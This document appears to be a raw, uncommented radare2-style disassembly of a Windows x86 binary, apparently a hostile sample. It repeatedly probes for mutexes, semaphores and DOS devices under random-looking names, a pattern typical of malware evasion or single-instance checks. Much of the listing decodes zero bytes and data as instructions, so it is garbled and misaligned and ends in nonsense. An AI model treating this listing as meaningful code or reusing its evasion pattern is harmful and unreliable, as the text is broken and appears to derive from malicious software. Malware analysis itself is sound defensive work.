mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne fcn.00403207
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
jne fcn.00403207
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
push 9
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne fcn.00403207
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
jne fcn.00403207
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], str.hxqitihwmjms
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne fcn.00403207
sub esp, 4
mov dword [esp], str.hxqitihwmjms
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne fcn.00403207
call fcn.00403e0e
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
test eax, eax
jne 0x404441
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne 0x403349
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x403a75
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x4034a7
push 9
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
or eax, eax
jne 0x4034a7
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call 0x404518
call 0x404518
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ch
sub edx, edx
push ebp
mov ebp, esp
lea esp, [esp - 0x44]
push 9
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
or eax, eax
jne 0x40302f
call 0x403049
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call 0x40306a
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x8b00405b
xor eax, 0x408187
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4081870d], cl
add byte [ecx - 1], dl
adc eax, sym.imp.kernel32.dll_CloseHandle
push 9
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x4048d3
and al, 0x83
in al, dx
add al, 0xc7
add al, 0x24
mov al, 0x81
inc eax
add byte [ebx + 0x4c704ec], al
and al, 0xa3
add dword [eax], 0x5b8815ff
inc eax
add byte [ebx - 0x7af0ff08], al
xor dword [ebx], eax
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x8300405b
in al, dx
add al, 0xc7
add al, 0x24
jp 0x40457e
inc eax
add byte [edx + 1], ch
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne 0x403db6
test dword [ebx + 0x2efffff7], ebx
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x40818715], cl
add byte [edx - 1], dl
adc eax, sym.imp.kernel32.dll_CloseHandle
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x8300405b
in al, dx
add al, 0xc7
add al, 0x24
jp 0x404616
inc eax
add byte [edx + 1], ch
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne fcn.00403207
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne 0x403cf9
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x6a00405b
or edi, edi
or al, 0x24
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
or eax, eax
jne 0x40322c
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne 0x4037ec
push 9
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x4037ec
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x403b72
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4081870d], cl
add byte [ecx - 1], dl
adc eax, sym.imp.kernel32.dll_CloseHandle
sub esp, 4
mov dword [esp], str.hxqitihwmjms
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
test eax, eax
jne 0x40497c
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x40818735], cl
add byte [esi - 1], dl
adc eax, sym.imp.kernel32.dll_CloseHandle
sub esp, 4
mov dword [esp], str.hxqitihwmjms
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
test eax, eax
jne 0x403e01
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
or eax, eax
jne fcn.00403207
sub esp, 4
mov dword [esp], str.hxqitihwmjms
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
or eax, eax
jne fcn.00403207
call fcn.00403e0e
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
jne 0x4039df
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
cmp eax, 0
jne fcn.00403207
mov ecx, dword [0x408187]
push ecx
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
cmp eax, 0
jne 0x404844
mov eax, dword [0x408187]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x1cba1d8c], dh
mov esi, 0x8c932f5c
sbb eax, 0x5fbe45ba
das
pop eax
mov word [esi], ds
mov edx, 0x2f5fbefb
sahf
lea ebx, [esi]
mov edx, 0x2f5fbf39
pushfd
lea ebx, [esi]
mov edx, 0x2f5fbf37
mov byte [0x15ba1e8d], al
mov edi, 0x8dc02f5f
push ds
mov edx, 0x2f5fbf73
out 0x8d, al
push ds
mov edx, 0x2f5fbc19
xchg edx, eax
jmp 0xaf85f703